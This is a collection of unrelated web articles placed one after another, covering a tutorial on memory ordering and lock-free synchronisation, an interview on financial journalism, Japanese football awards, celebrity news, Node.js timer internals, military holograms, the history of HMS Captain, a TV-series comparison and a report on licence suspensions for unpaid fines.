aspect is not being discussed / delved-into in this post. Optimisations by the compiler Even the compilers are intelligent enough to optimise the execution. The compilers quite often provide hints to CPU through instructions. Branch predictions can be influenced by developers by using appropriate macros in the code. The developer actually provides hints to the CPU on the likely result of a condition. The compilers often optimise poorly written code to get faster executions. (The code could be stylistically good, however from the processors perspective it could be poor.) Various levels of optimisations can be turned on while building the code. Sometimes these optimisations can become very aggressive in reordering instructions and cause various kinds of issues. Deeper understanding of data races Let us consider the incrementing counter example from the processor’s point of view again. If two threads were running the same code simultaneously on two separate cores we could easily end up in a situation where thread1 is executing step 5 above, while thread 2 is executing step 4. Thread 2 would have taken an older value of counter in the register R1. Thus we end up with a race, similar in nature as “Sharing memory between threads” section above. Another kind of race Let us now consider two seemingly unrelated lines of code: Thread 1: 1. x = result_of_this_function_call() 2. is_x_initialized = true The line 2 above possibly has been added by the programmer as a variable capturing if the line 1 has already been executed. The processor does not know this, nor does the compiler. The intent is in the programmer’s mind, and has not been explicitly indicated. The compiler does not understand English, and hence does not interpret the variable name to understand the intent. The memory ordering explained above will most likely reorder the above piece of code. If that happens, the variable is_x_initialized will be set to true even before x has the value from the function. If the two variables were used only in one thread, there would be no issues because of such reordering. The impact of such optimisation becomes evident when there is another thread which is reading the value of is_x_initialized. Eg: Thread 2: 1. while(!is_x_initialized) 2. do_something_else_and_wait_for_some_milliseconds() 3. do_something_with_x(x) Due to the optimisations explained above, the variable is_x_initialized could be set to true in Thread1 even before the value of x is set. Meanwhile Thread2 would come out of the loop, and execute do_something_with_x() with an “uninitialized” x. This is undefined behaviour. We don’t know what could have been the value of x when do_something_with_x is called. Apart from memory ordering optimisation of Thread1, there is another problem. For Thread2, the compiler can optimise as well! The compiler may optimise the code to look at is_x_initialized once, and decide not to look at it over and over again. This decision for such aggressive optimisation is justified as the loop is not modifying the value of is_x_initialized and we have not told the compiler that it can be modified by the processor or another thread. The aggressive optimisations happen when we turn on optimisations for release builds. Two outcomes are therefore possible: If is_x_initialized is true due to memory ordering of Thread1, the wait will never happen. If is_x_initialized is false, due to the compiler’s optimisation, it could never look for it again. Then the thread2 will loop indefinitely! How to solve this problem is explained later in the post. Language guarantees, compilers and processors Lets reflect upon the note above. Consider the lines of code below: 1. unsigned char counter = 0 2. char x = 'A' 3. counter = counter+1 It might just happen that counter and x are adjacent in memory. The memory layout for such a code could be: (each column represents 8 bits) counter x 0xFF 0xFF The processor loads the memory location (32 bits) as shown above into its register. The counter will get incremented by operating on the register, and then the whole 32 bits will get written back to the memory location. However, if x was updated by some other thread, it would get overwritten right? Surprise! It does not! This is because the language states that two unrelated variables should behave independent of each other. The language guarantees, and the compilers help keep sanity in a programmers life. Synchronisation through lockless programming Locks cost performance. Locks are best avoided, when performance is of prime importance. If some form of synchronisation is needed in these high performance systems, programmers prefer atomic operations. Consider the counter example. The counter can be implemented as an atomic integer. Whenever an increment happens all other threads can see the effect of this increment. The complete set of operations needed for READ, MODIFY, WRITE happen as one unit. This seems ideal. The atomics are implemented by making use of the processor instructions. No lock/unlock call is done. Hence using atomic operations one can be sure that the thread will make progress, and deadlocks cannot happen. The atomics exploit hardware instructions only as long as the atomic object is of the size of a WORD or less, i.e. the object fits in a register. All other atomic objects use locks to get the atomic behaviour. Also the memory ordering optimisations and compiler optimisations are prevented by using atomics. The atomic operations therefore prevent the problem of “is_x_initialized” being set before the actual initialisation of “x”. Simply make is_x_initialized an atomic variable to solve the above problem. Atomics are much faster than mutexes as they exploit hardware instructions. Faster than atomics Most of the modern hardware architecture support the notion of memory barriers. These memory barriers are used by C / C++ compilers to implement what are called the acquire and release semantics. These are not the same as the acquire and release of a mutex or semaphore. acquire semantics An acquire operation guarantees that the effect of that operation in a thread is seen by other processors before any subsequent operations in that thread. This means none of the subsequent operations in that thread will be optimised to be executed before the acquire operation. This is sometimes referred as “load acquire”. release semantics A release operation guarantees that the effects of all the operations prior the release operation are seen by other processors before the release operation. This means that memory ordering will not delay the effect of a prior operation beyond the release operation. This is sometimes referred as “store release”. acquired_and_release semantics This is a very strong fence. In this form, none of the operations before the acquire_and_release operation can be delayed beyond the acquire_and_release. Also none of the operations after the acquire_and_release operation can be ordered before this operation. consume semantics The consume is a weaker form of acquire, in which some of the subsequent operations can be performed before this operation. The operations which are inconsequential with regards to consume can be optimised to be performed before the consume! Using hardware instructions, these semantics are implemented by the compiler. They are known as barriers or fences. Atomics are implemented using the barriers. Needless to say, if these are exploited, a programmer can get performance better than using atomic variables. In a subsequent post, I will attempt to explain using these techniques for producer / consumer queues. Conclusion Under usual circumstances of application development, the techniques which exploit hardware instructions are rarely needed. For one or two modules in a huge system which demands very high performance do we ever need to exploit hardware instructions. In most cases of high performance systems, ensure that cache misses and acquiring locks is avoided. This yields satisfactory performance. The purpose of this article was to try to elaborate SMP, multithreading and advanced synchronisation techniques. Writing high performance software is a very huge subject, which is not covered by this post. I hope this post was as enjoyable, and informative enough to create interest and curiosity in exploring the techniques further. Advertisements -From revelations about this week’s hasty, multibillion-dollar bank settlements to AIG’s brief threat to sue the federal government for its own $128-billion bailout (which the company contends wasn’t as generous as other bailouts), 2013 is already shaping up to be another year of government-backed wins for Wall Street. As the New York Times’ Gretchen Morgenson wrote, “If you were hoping that things might be different in 2013 — you know, that bankers would be held responsible for bad behavior or that the government might actually assist troubled homeowners — you can forget it. A settlement reportedly in the works with big banks will soon end a review into foreclosure abuses, and it means more of the same: no accountability for financial institutions and little help for borrowers.” This type of clear condemnation of Wall Street and its lack of accountability remains a rare voice in mainstream media, with few willing to join Morgenson and Rolling Stone’s Matt Taibbi on their crusades against banking abuses. The lack of outrage or investigation by mainstream media comes in stark contrast to the public response to the settlement announcements. The comments sections of settlement-related articles are bursting with scathing comments–including demands for both criminal prosecution for bankers and more investigative journalism in the U.S. In an LA Times poll, 94 percent of respondents said that this latest settlement agreement lacked appropriate transparency. So if readers are hungering for more information and outrage, why is the mainstream press so soft on Wall Street? Is it the last three decades' rampant media consolidation, which has put 90 percent of the nation's media in the hands of only six major corporations? (That's down from 50 companies in 1983.) What about the increasing magazine and newspaper ad revenue coming directly from Wall Street? Or perhaps it's even due to a redefinition of what constititues financial journalism? Pulitzer Prize-winning investigative journalist Dean Starkman, whose 2009 Columbia Journalism Review article “Power Problem” outlined just how badly the financial press failed in the lead-up to 2006, has some ideas. SPONSORED Laura Gottesdiener: Thanks, Dean, for taking the time to talk. To start simple: In your mind, what’s the role of the press–if it’s doing its job? Dean Starkman: To me, journalism is particularly important because it is the oxygen of democracy. At its best, it is the main thing that is capable of explaining complex problems to a mass audience.That’s its most critical role–and its most difficult task. Looking back over the 20th century, the great stories are the ones that pull the curtain back on things that are truly complex, baffling and dangerous problems. I’m thinking particularly of an iconic story that journalists stand up and salute: the Standard Oil series from 1902-1904. This knowledge allowed the public to participate in the question of trusts, and the rest is literally history. The government filed an anti-trust case, and Standard Oil was broken up in 1911. That’s the gold standard, the benchmark for journalism. LG: So how does this relate to today’s financial press? DS: The financial system is almost deliberately complex; there’s that famous quote by the head of Morgan Stanley, when he said something along the lines of, “We create things that people don’t understand on purpose.” To me the business press is put on earth to help the public understand complex problems, and certainly the mortgage frenzy was one of them. And that’s where I have a bone to pick with the financial press. LG: That’s a nice way of putting it. In your piece you call the lead-up to 2006 a “general system failure” for the media, and wrote that the post-crash reporting gave the “short shrift to the breathtaking corruption that overran the mortgage business.” You also diagnosed the financial press today with Stockholm Syndrome. So what’s going on? DS: It’s not fully appreciated that there’s been a big power shift between the big media and the institutions that it covers in the last 20 years. When you think of the 1990s, finance was a really powerful industry, but so was media. In the mid-1990s, Dow Jones, which publishes the Wall Street Journal, was almost the same size of Morgan Stanley. Now Morgan Stanley is literally 30 times larger than the New York Times company. This power shift is almost an intangible thing, but you cannot discount it as part of the story of the rising sense of empowerment and entitlement on Wall Street and an increasing sense of deference from the business press. Also, you can’t deny that the collapse of financial regulation in the early Bush administration plays a role. The press relies, not to a fully appreciated degree, on a financial regulatory system because that generates a lot of paperwork. LG: Still, sometimes it feels like mainstream media doesn’t only fail to investigate Wall Street’s crimes–they actually helped facilitate them. Is the business press itself an accomplice? DS: The biggest problem during this period was this narrowing definition of what constitutes a business story. There are fights over what journalism is, and you can divide journalism into two great competing schools. One is the access school, and the other is the accountability school. In the lead-up to 2006, the accountability school was increasingly marginalized and in retreat, while the access school–doing the profile and getting the scoop on deals–became much more prominent. And so the big missed story–the accountability story–was the radicalization of the financial system, particularly in mortgage lending and discussions of subprime and predatory lending. Meanwhile, when I went back and reread some of the coverage by really good reporters from really good magazines, the coverage of Wall Street, even if it was well intended, actually helped to exacerbate the crisis and add flames to the frenzy. Things like positive profiles of Wall Street executives made things worse and made the world worse. Unwittingly maybe, but so what?
 LG: That reminds me of Vanity Fair’s glowing profile of Jamie Dimon recently. So what about today? Even now that the radicalization of Wall Street is obvious, it still seems like mainstream media oscillates between blaming borrowers and banks. DS: In another debate between schools of journalism, right now it’s a jump ball between the structuralists and the behavioralists. In the case of the mortgage crisis, behavioralists argue that people lost their ability to understand and manage debt, while structuralists believe that people don’t change, that markets change–and that the market changed. Of course, structuralists are right and behavioralists really don’t have a leg to stand on. The structuralists aren’t only right, all the evidence is on their side. But the cultural argument of behavioralists still has a lot of saliency, and for lazy reporters it’s easy because all you have to do is make the assertion about human nature, and that’s the end of the discussion. LG: So, what’s the effect of having the behavioral-based articles in mass media? DS: What it really does is that it shifts the gaze entirely off the institutions that these papers are supposed to be covering and onto an amorphous public that can’t fight back. Put it this way: If you blame Goldman Sachs, you will hear from Goldman Sachs. But if you blame the public, no one is going to call you. No one is there to stick up for the borrowers. LG: It’s well documented now that minorities were widely discriminated against by the mortgage industry, and continue to be abused by banks’ failures to upkeep real estate-owned property, just to name one current problem. But if mainstream media articles are using the behavioralist theory, how does this type of blame get allocated? The behavioralists theory does align with racist attitudes. For example: the mortgage crisis was one of these huge generational setbacks for the black community, and that’s one of those things that was essentially dropped by the press. It’s very poorly understood and documented, and it’s one of the most under-covered aspects of this story. LG: I understand you’re working on a new book that’s going to take the financial press to task. Can you give us a sneak preview? DS: Sure. It’s called The Watchdog That Didn’t Bark, and it’s forthcoming from Columbia University Press. The book is going to be an argument for watchdog journalism and accountability reporting. There’s a long tradition of accountability reporting in American business media, and I hope this book will be a revelation to people who think the financial press only reports on investor news, because it’s actually done things that are quite radical in the past. Starting in the early 20th century, we had an emerging business press covering the market, but it had a completely different gaze. It used this form to expose the monopolies and to set the country on the road to reform. So, I’ll be talking about that particular line of journalism, the origins of business news and the things that impair business news today. In the past the financial press has taken on quite a robust watchdog function. LG: Last question: It doesn’t seem like financial reporting today is all that much better than it was in the lead-up to the crisis. But what about the future? DS: There’s no reason to think it’s going to get dramatically worse from here. What we went through was crazy. It was a near-death experience. -Yokohama F. Marinos midfielder Shunsuke Nakamura was named J.League Player of the Year on Tuesday, three days after his team blew its chance to win the title on the final day of the season. Former Celtic star Nakamura captained Marinos to a four-point lead over their nearest rivals with two games of the campaign remaining, only to lose both matches and allow defending champions Sanfrecce Hiroshima to come through and retain the title. But Nakamura’s exceptional performances made him the outstanding candidate to win the player of the year award, becoming the first person to claim the prize for a second time having won it with Marinos in 2000. “I am feeling two emotions right now,” said the 35-year-old. “One is happiness and the other is appreciation for what my teammates have done for me. “Ten of my teammates were nominated for the J.League Best XI, and that just shows the quality of the players around me who have made it possible for me to win this award.” Nakamura scored 10 goals in 33 league appearances this season, missing only one game — a 2-1 defeat to Nagoya Grampus — while suffering from a gallbladder inflammation. Nakamura returned to Marinos in early 2010 after a 7 1/2-year spell in Europe with Reggina, Celtic and Espanyol, but has yet to win the J.League with his boyhood club, which last won the title in 2004. “For me, Yuji Nakazawa should be the MVP,” Nakamura said of his Marinos defensive teammate. “He would be a fitting recipient of this award for all he has done over the years. He is a great person to be around every day in training, and he’s an example to all young players.” Nakamura made the J.League Best XI along with Nakazawa, in a selection composed solely of Japanese players for the second time in league history. Urawa Reds’ Daisuke Nasu and FC Tokyo’s Masato Morishige joined Nakazawa in defense in front of Sanfrecce goalkeeper Shusaku Nishikawa, while Cerezo Osaka pair Hotaru Yamaguchi and Yoichiro Kakitani were named in midfield alongside Nakamura and Sanfrecce’s Toshihiro Aoyama. Kawasaki Frontale striker Yoshito Okubo, who was the league’s top scorer on 26 goals, Kashima Antlers’ Yuya Osako, who notched 19, and Albirex Niigata’s Kengo Kawamata, who scored 23, completed the lineup. “I’m very grateful to my teammates and everyone who supported me,” said Kakitani, whose 21 goals helped Cerezo finish the season in fourth place. “This year, Sanfrecce, Marinos and Frontale finished in the top three and took the Asian Champions League places, so I’ll be supporting them in the Emperor’s Cup at new year so that we can get a place in the ACL too.” Cerezo Osaka’s 18-year-old midfielder Takumi Minamino was named Best Young Player, having scored five league goals and introduced himself to a global audience with a spectacular goal in Cerezo’s 2-2 friendly draw against Manchester United in July. Sanfrecce’s Hajime Moriyasu was named Manager of the Year for the second time running, while Kakitani was awarded Goal of the Year for his outside-of-the-boot strike against Kashima on Nov. 30. -Born to be his baby? Diane Lane dropped by Watch What Happens Live with Andy Cohen on Monday, May 8, and dished on once dating Jon Bon Jovi in the ’80s. “Five months, I was 20,” the Paris Can Wait actress, now 52, said. “And I think every girl should have such a wonderful experience when she’s that young.” Lane even saw off the musician, 55, before his Slippery When Wet shows. “I have some photos of him packing for the tour,” she recalled. “Just all the jockstraps were lined up on the floor for the whole band to get through the whole tour.” Cohen, 48, and fellow guest Jim Parsons, 44, were shocked at the undergarment reveal. “You have to under those leather pants, sweating!” Lane explained. Bon Jovi has been married to his high school sweetheart Dorothea Hurley Bongiovi since 1989, but according to a former tour manager, the reunion and marriage came after the singer broke up with Lane because she made him jealous by getting too close to guitarist Richie Sambora. The Justice League star also spoke about her one-on-one time with the late Andy Warhol back in the day. “We had pizza,” she said. “He interviewed me for Interview magazine. It was very surreal.” Years after her relationship with Bon Jovi, Lane tried out for the role of Vivian Ward in Pretty Woman, which eventually went to Julia Roberts. “Everybody in town went for that role. At that time, as I’ve said on other shows, it was a very different show,” Lane said on Monday night. “It turned out to be a feel-good movie and originally this crazy biatch was kicked out of a rolling limo at the end because she was delusional that she thought that this guy was really in love with her. She was only hired for the weekend. And we had such compassion for her. I think that movie needs to get made. I want to direct it. Let’s make it happen!” When asked if she and Roberts, 49, ever spoke about the 1990 romantic comedy, she replied: “We didn’t actually ever have that conversation. It would be fun to do.” Sign up now for the Us Weekly newsletter to get breaking celebrity news, hot pics and more delivered straight to your inbox! -Timers are an essential part in the Javascript developer tool set. The timers API has been with us a long time, dating back to the days when Javascript was limited to the browser. This API provides us with the setTimeout , clearTimeout , setInterval and clearInterval methods which allows us to schedule code for later execution, either once or repeatedly. Thanks to Node.js timer module, these methods (along with a few others, such as setImmediate and clearImmediate ) are also available natively in node code. On top of user code and 3rd-party libraries using timers, timers are also used internally by the Node.js platform itself. For example, a dedicated timer is used with each TCP connection to detect a possible connection timeout. It’s very possible that Node.js will have to manage a large number of timers, so it’s important that the implementation will be highly efficient. In this post I will look at the way Node.js manages these timers under the hood. Before tackling the timers implementation, it’s worthwhile to examine Node.js implementation of linked lists; they play a large role in the timers implementation, and have some interesting parts to them as well. Linked Lists The relevant code is quite short, and contain all the methods you’d expect to find in a linked list implementation, such as create , append , remove , peek , shift , isEmpty . One thing to note is that this is not a “Class”, and there is no constructor. Instead, these methods are in fact utility functions that operate on an existing object. Two fields are used to manage the links between the nodes: _idleNext and _idlePrev . Perhaps unintuitively, _idleNext points to the older item, while _idlePrev points to the newer item. Let’s look at the init function: function init ( list ) { list . _idleNext = list ; list . _idlePrev = list ; } In the root object, _idleNext points to the head of the list (the oldest element) and _idlePrev points to the tail of the list (the newest element). Initially, both point to the list root itself. Let’s continue and look at the append and remove functions. Notice that append first calls remove to ensure the list is unique. function append ( list , item ) { if ( item . _idleNext || item . _idlePrev ) { remove ( item ); } item . _idleNext = list . _idleNext ; item . _idlePrev = list ; list . _idleNext . _idlePrev = item ; list . _idleNext = item ; } function remove ( item ) { if ( item . _idleNext ) { item . _idleNext . _idlePrev = item . _idlePrev ; } if ( item . _idlePrev ) { item . _idlePrev . _idleNext = item . _idleNext ; } item . _idleNext = null ; item . _idlePrev = null ; } Notice that at no point we actually traverse the list. Thus, append and remove are very efficient, operations. To make this a bit more concrete, lets initialize a new list and append two items. We’ll show the objects graph after initialization and after each append. const list = { name : 'list' }; const A = { name : 'A' }; const B = { name : 'B' }; init ( list ); init ( A ); init ( B ); append ( list , A ); append ( list , B ); Here’s a diagram of the list right after initialization: Here’s how it looks after a first append: Here’s how it looks after a second append: From this point, I think it’s quite clear how later appends will look. It is now time to look at timers in more detail. Timers Each Timer instance is initialized with msec argument which determines the delay (in millisecond) until timeout. It’s quite intuitive that if we initialized two timers with the same msec argument, then the second timer will timeout either with or after the first. Node.js uses this and organizes the Timers by indexing them according to their msec : all Timers with the same msec value will form a linked list, ordered by creation time (there are actually two indexes, one for refed timers and one for unrefed timers, but we’ll ignore this fact for now. See here to read about the difference). In this example, we initialized 6 timers. T1 , T2 , T3 were initialized with 50 msec, T4 with 10 msec and T5,T6 with 200 msec. Each Timers list is backed up by a TimerWrap , which is a wrapper over a uv_timer_t , a native libuv timer type. Since we know the timers in each list are ordered by non-decreasing timeout, a single TimerWrap is enough, as we can reuse it between timeouts. In pseudo code, the (a bit simplified) strategy on timeout is as follows: for each timer t in the list L ( msec ): diff : = now () - t . start_time if diff < msec : remaining : = max ( msec - diff , 0 ) t . start ( remaining ) return L . remove ( t ) Once the last timer in a list timeouts, we can remove the list’s msec key and free the backing native timer. Same as the append and remove operations on linked lists, the timeout operation runs in constant time, regardless the number of scheduled timers. It follows that less than constant-time operations are limited to 2 places: The native libuv timers implementation The lookup for certain list of timers based on a msec However, according to the source code, these operations combined have shown to be trivial in comparison to other alternative timers architectures. -It's one of those grandiose ideas that gets bandied about by Pentagon scientists and pops up in the press every few years. The "Face of Allah" weapon would beam a massive, lifelike hologram over a battlefield, projecting the image of some deity "to incite fear in soldiers on a battlefield," according to one researcher. We last checked in on holographic weapons research two years ago, when the University of New Hampshire was working on some Pentagon-funded projects. Since then, another university team has turned holograms into a reality – but not as tools of war. Not yet, at least. Optical scientist Nasser Peyghambarian and his teammates at the University of Arizona have demonstrated what The New York Times calls "actual moving holograms that are filmed in one spot and then projected and viewed in another spot." The Times likens the holograms to the tiny image of Princess Leia that R2D2 showed Luke Skywalker in the beginning of Star Wars, only "a lot more haltingly, as the display changes only every two seconds." Peyghambarian's hologram is created by a suite of 16 cameras that use lasers to record data on "smart" plastic some distance away that, when hit by a special light, project the image in solid-looking 3D. A partner team at Columbia University is studying ways to beam the holo-data via the Internet, to allow 3D video chats or instantaneous transmission of holographic maps, blueprints or medical scans. Peyghambarian said it might take a decade for the technology to become affordable and widespread. Weaponization would be much further behind (though we wouldn't bet on today's cash-strapped military to invest in a Face-of-Allah gun). Cost aside, it's just not very PC. Early holograms are already a fixture in military headquarters, according to the Times article. A company called Zebra Imaging in Texas has been selling 2-by-3-foot plastic holographic maps to the Pentagon – its "main customer" – for $1,000 to $3,000 a pop. The military "sends data in computer files to the company. Zebra then renders holographic displays of, for example, battlefields in Iraq and Afghanistan." No goofy 3D glasses required, just a custom-made LED flashlight that "activates" the image encoded in the plastic. Zebra's technology has other military applications, such as post-blast IED forensics, according to the company's Website. "Analysts trying to understand the nature and construction of an explosive device ... are able to understand the scene in 3D far better than the classic 2D 'bird's-eye view.'" See Also: -For other ships with the same name, see HMS Captain HMS Captain was a 74-gun third-rate ship of the line of the Royal Navy, launched on 26 November 1787 at Limehouse. She served during the French revolutionary and Napoleonic Wars before being placed in harbour service in 1799. An accident caused her to burn and founder in 1813. Later that year she was raised and broken up. French Revolutionary Wars [ edit ] At the start of the French Revolutionary War, she was part of the Mediterranean fleet which occupied Toulon at the invitation of the Royalists in 1793 before being driven out by Revolutionary troops in an action where Napoleon Bonaparte made his name. During this operation Captain was deployed in the Raid on Genoa. In June 1796, Admiral Sir John Jervis transferred Captain Horatio Nelson from HMS Agamemnon into Captain. Jervis appointed Nelson commodore of a squadron that was first deployed off Livorno during Napoleon's march through northern Italy. In September 1796, Gilbert Elliot, the British viceroy of the Anglo-Corsican Kingdom, decided that it was necessary to clear out Capraja, which belonged to the Genoese and which served as a base for privateers. He sent Nelson, in Captain, together with the transport Gorgon, Vanneau, the cutter Rose, and troops of the 51st Regiment of Foot to accomplish this task in September. On their way, Minerva joined them. The troops landed on 18 September and the island surrendered immediately. Later that month Nelson oversaw the British withdrawal from Corsica. In February 1797, Nelson had rejoined Jervis's fleet 25 miles west of Cape St. Vincent at the southwest tip of Portugal, just before it intercepted a Spanish fleet on 14 February. The Battle of Cape St Vincent made both Jervis's and Nelson's names. Jervis was made Earl St Vincent and Nelson was knighted for his initiative and daring. Nelson had realised that the leading Spanish ships were escaping and wore Captain to break out of the line of battle to attack the much larger Spanish ships. Captain exchanged fire with the Spanish flagship, Santísima Trinidad, which mounted 136 guns on four decks. Later Captain closely engaged the 80-gun San Nicolas, when the Spanish ship was disabled by a broadside from Excellent and ran into another ship, the San Josef of 112-guns. With Captain hardly manoeuvrable, Nelson ran his ship alongside San Nicolas, which he boarded. Nelson was preparing to order his men to board San Josef next when she signalled her intent to surrender. The boarding of San Nicolas, which resulted in the taking of the two larger ships was later immortalised as 'Nelson's Patent Bridge for Boarding First Rates.' Captain was the most severely damaged of the British ships as she was in the thick of the action for longer than any other ship. She returned to service following repairs and on 6 May 1799 sailed for the Mediterranean, where she joined Captain John Markham's squadron. After the Battle of Alexandria, the squadron under Contre-Admiral Jean-Baptiste Perrée, consisting of the 40-gun Junon, 36-gun Alceste, 32-gun Courageuse, 18-gun Salamine and the brig Alerte escaped to Genoa.[3] On 17 June 1799 the French squadron, still under Perrée, was en route from Jaffa for Toulon when it encountered the British squadron under Markham in Centaur.[3] In the ensuing Action of 18 June 1799, the British captured the entire French squadron, with Captain capturing Alerte. Markham described Alerte as a brig of 14 guns and 120 men, under the command of Lieutenant Dumay.[4] Napoleonic Wars [ edit ] In 1807 it had been one of the escorts for the expedition leaving Falmouth that would eventually attack Buenos Aires. Turned back north once the expedition reached the Cape Verde Islands. Captain shared with Amaranthe, Pompee, and Morne Fortunee in the prize money pool of £772 3s 3d for the capture of Frederick on 30 December 1808. This money was paid in June 1829.[5] Captain took part in the capture of Martinique in 1809. In April 1809, a strong French squadron arrived at the Îles des Saintes, south of Guadeloupe. There they were blockaded until 14 April, when a British force under Major-General Frederick Maitland invaded and captured the islands. Captain was among the naval vessels that shared in the proceeds of the capture of the islands.[Note 1] Fate [ edit ] Later that year, Captain was put into harbour service.[7] On 22 March 1813, she was accidentally burned in the Hamoaze, off Plymouth, Devon.[8] At the time, she was undergoing conversion to a sheer hulk. When it was clear that the fire, which had begun in the forecastle, had taken hold, her securing lines were cut and she was towed a safe distance away from the other vessels so that she could burn herself out. Even so, orders were given that she be sunk. Ships' launches with carronades then commenced a one-hour bombardment. She finally foundered after having burned down to the waterline. Two men died in the accident.[7] The wreck was raised in July and broken up at Plymouth.[2] Notes, citations, and references [ edit ] Notes ^ [6] The prize agent for a number of the vessels involved, Henry Abbott, went bankrupt. In May 1835 there was a final payment of a dividend from his estate. A first-class share was worth 10s 2¾d; a sixth-class share, that of an ordinary seaman, was worth 1d. Seventh-class (landsmen) and eighth-class (boys) shares were fractions of a penny, too small to pay. Citations; References -For the sake of discussion, let’s take a moment to consider the best series of 2012 between two of the best series currently airing that share a lot in common. Who would win in a fight? Let’s touch gloves and find out. ROUND 1 How high are the stakes? Breaking Bad When the series began, family was everything to Walter White. Stemming from circumstances forcing compromise or total loss all throughout his life, Walt eventually seeks something he can reign supreme over. His cancer and understanding of advanced chemistry circumvent that talent for cooking the highest concentrated meth available anywhere on the market. Unfortunately a monopoly has the adverse effect of shattering any semblance of family, calling harsh scrutiny over the motivation behind Walt’s criminal activity. It’s physically draining just to watch the spiral. And when Walt wisely elects to shelf his operation for good, his brother in law, Hank, a DEA agent following the case since the series began years, discovers the identity of his ringleader. It’s clear Walter White has lost, but the scope of which is yet to be revealed with the final season airing next year. Homeland The fear of a major act of domestic terrorism became a permanent reality following September 11th, and no series echoes the psychological fallout of that tragedy better than Homeland. If Carrie Mathison’s crazy theories can be believed and not simply attributed to her perpetually unstable mental health, American POW Nicholas Brody is working closely with terrorist organizations to orchestrate a large scale attack of impossible proportions. Things get increasingly tense when Brody climbs the ranks of public office to become a viable candidate for vice president. It seems like a cheap hypothetical spurned only by the most disillusioned conspiracy theorist, yet Homeland presents it as something entirely plausible. Winner: Homeland ROUND 2 Most fascinatingly disturbing main character Walter White There’s perhaps no other show in existence that so expertly depicts one man’s genuine descent into darkness quite so well as Breaking Bad. It’s a slow burn effect the creators were only able to achieve over several engrossing seasons. Remember when we used to feel sorry for Walt? At his core, he was a family man – his decision to start cooking ice grounded in a wanton desire to be a capable provider to his family, something a teacher’s salary simply could not accomplish. The problem? Walter White never intended to beat his bleak diagnosis, his measured survival borrowing time to sell off his soul entirely. It’s a fascinating character study unlike anything else on television. Carrie Mathison The world kind of forgot how great Claire Danes was. It took about four hours for her to solidify her role as the most believably crazy protagonist on television. Watching Carrie flounder in a world that doesn’t understand her condition leaves users feeling hopelessly anxious, an uncomfortably addictive feeling reminiscent of watching chunks of 24. Why can’t Carrie just get her shit together? Who knew a genius way of playing that tiresome convention of ‘crazy person was right all along!’ could be heightened so well simply by making said person actually batshit insane. Winner: Walter White ROUND 3 Best refreshingly human supporting character Jesse Pinkman Hardcore fans of the show are well aware Jesse was never originally intended to live on much past the first season. It seems hard to believe, considering how important the elements of duality & contrast has been between Jesse and Mr. White – both men’s experience in trafficking drugs responsible for significant transformations. Originally amounting to little more than a dead head, Jesse quickly became the heart of the show as his compassion for others, children in particular, started to bleed through his corroding exterior. Saul Berenson Saul has a certain knack for losing credibility one moment by keeping Carrie at arm length due to her obsessive nature and then flipping the script entirely, rushing to her aid as she’s willingly strapped down to a hospital bed about to have her brain fried, urging her to think clearly despite the world around her crumbling to bits. There’s perhaps no person that knows Carrie’s true nature better than Saul, insight that transposes his relationship with her as more of a father figure. Like Jesse, Saul is best considered a reflection of the audience – a voice of reason in an otherwise irrational setting. Winner: Jesse Pinkman Conclusion Breaking Bad, according to many, is still the best currently airing show on television. It’s had the advantage of additional seasons to further develop characters and craft a narrative. Homeland seems poised to grab the reins from Breaking Bad when the show ends in 2013. In a relatively short expanse of time, Homeland has established itself as a legitimate contender. It just remains to be seen whether or not a show setting the bar so high so early will be able to sustain itself. -Forty-three U.S. states can suspend people’s driver’s licenses for failure to pay fines, regardless of their ability to pay, a policy that selectively punishes the poor, the Legal Aid Justice Center said in a report today. This policy not only makes it more difficult for poor people to care for themselves and their children, but “paradoxically,” makes it more difficult to meet their financial obligations to the courts, the Justice Center says in the report, “Driven By Dollars.” In five states alone, a total of more than 4.2 million drivers have had their licenses suspended or revoked for failure to pay court debt, be it traffic or criminal, the report found. Texas leads the nation with 1.8 million such suspensions. Despite “the growing consensus that this kind of policy is unfair and counterproductive,” the report says, the policy is “ubiquitous.” These “license-for-payment policies” especially affect poor Americans. Related | Study: American Children Have A 43% Chance Of Being Born Into Poverty “While wealthier drivers have little difficulty covering court debt, people living paycheck-to-paycheck with little or no savings and families to support may not be able to pay in a lump sum or consistently make payments on installment plans,” the report states. It relates the story of Demetrice Moore, a nursing assistant from Virginia whose driver’s license was suspended when she was unable to pay court costs from a 2002 larceny conviction. Moore’s job required her to drive to take care of patients in their homes, and she was jailed last year for driving with a suspended license. “Having been stripped of her license for over a decade, Ms. Moore and the family she supports have been punished, far beyond the terms of her sentencing 15 years ago, because she is poor,” the report says. Or the 43 states that suspend driver’s licenses for unpaid court debts, 19 have laws requiring suspension for unpaid debt. “Most state statutes contain no safeguards to distinguish between people who intentionally refuse to pay and those who default due to poverty, punishing both groups equally harshly as if they were equally blameworthy,” the Justice Center says in the executive summary of the 20-page report. Only four states require defendants to show ability to pay or a determination of “willfulness” before their licenses are taken away. California this year banned the suspension of driver’s licenses for outstanding traffic fines, spurred by legal action from a number of civil rights groups. And the Texas Legislature this year passed a bill requiring courts to ask defendants about their ability to pay fines and other tickets. Related | What Trump Gets Wrong About ‘Inner Cities’ And Poverty In America “We have to stop using our courts as revenue centers,” the report’s co-author Angela Ciolfi told Courthouse News. “Funding the courts based on amounts they collect from individuals who come before them runs contrary to basic notions of justice and fairness. The needle is turning, but I think we are at the beginning of the conversation, not the end,” she said. The issue has received increasing attention since the violent protests after the police killing of Michael Brown in Ferguson, Missouri in 2014. Investigations showed that Ferguson and nearby towns collected a great part of their revenue from traffic fines, which disproportionately affected people of color. Several lawsuits resulted, and similar lawsuits have spread around the country, particularly in poor, minority-majority towns. Ciolfi said, however, that reforms spreading as well. Colorado has reduced driving with a suspended license to a traffic infraction in cases where a driver’s license was suspended because of court debt. “This is significant because in states like Virginia, driving on a suspended license carries a mandatory minimum 10 days in jail on the third conviction, regardless of whether your license was suspended for failure to pay, or for actually being dangerous behind the wheel,” Ciolfi said. According to the report, 977,000 Virginians have had their licenses revoked or suspended for failing to pay fines. In August, a settlement was reached in California in a lawsuit against Solano County Superior Court that challenged the court’s “license-for-payment” policy. As part of the settlement, the court agreed to inform traffic defendants of their right to be heard about their ability to pay tickets. In an appendix, the Virginia-based Legal Aid Justice Center summarizes the “license-for-payment” laws of all 50 states plus the District of Columbia, which also suspends licenses for failure to pay fines. Read the Legal Aid Justice Center’s report Driven by Dollars Download the PDF file . Top photo | In a Thursday, Sept. 16, 2010 file photo, a man who did not wish to be identified, who lost his job two months ago after being hurt on the job, works to collect money for his family on a Miami street corner. (AP/J Pat Carter) © Courthouse News Service -I often wonder why riders who say they want to win or be better riders never utilize the one thing, the one FREE thing that is 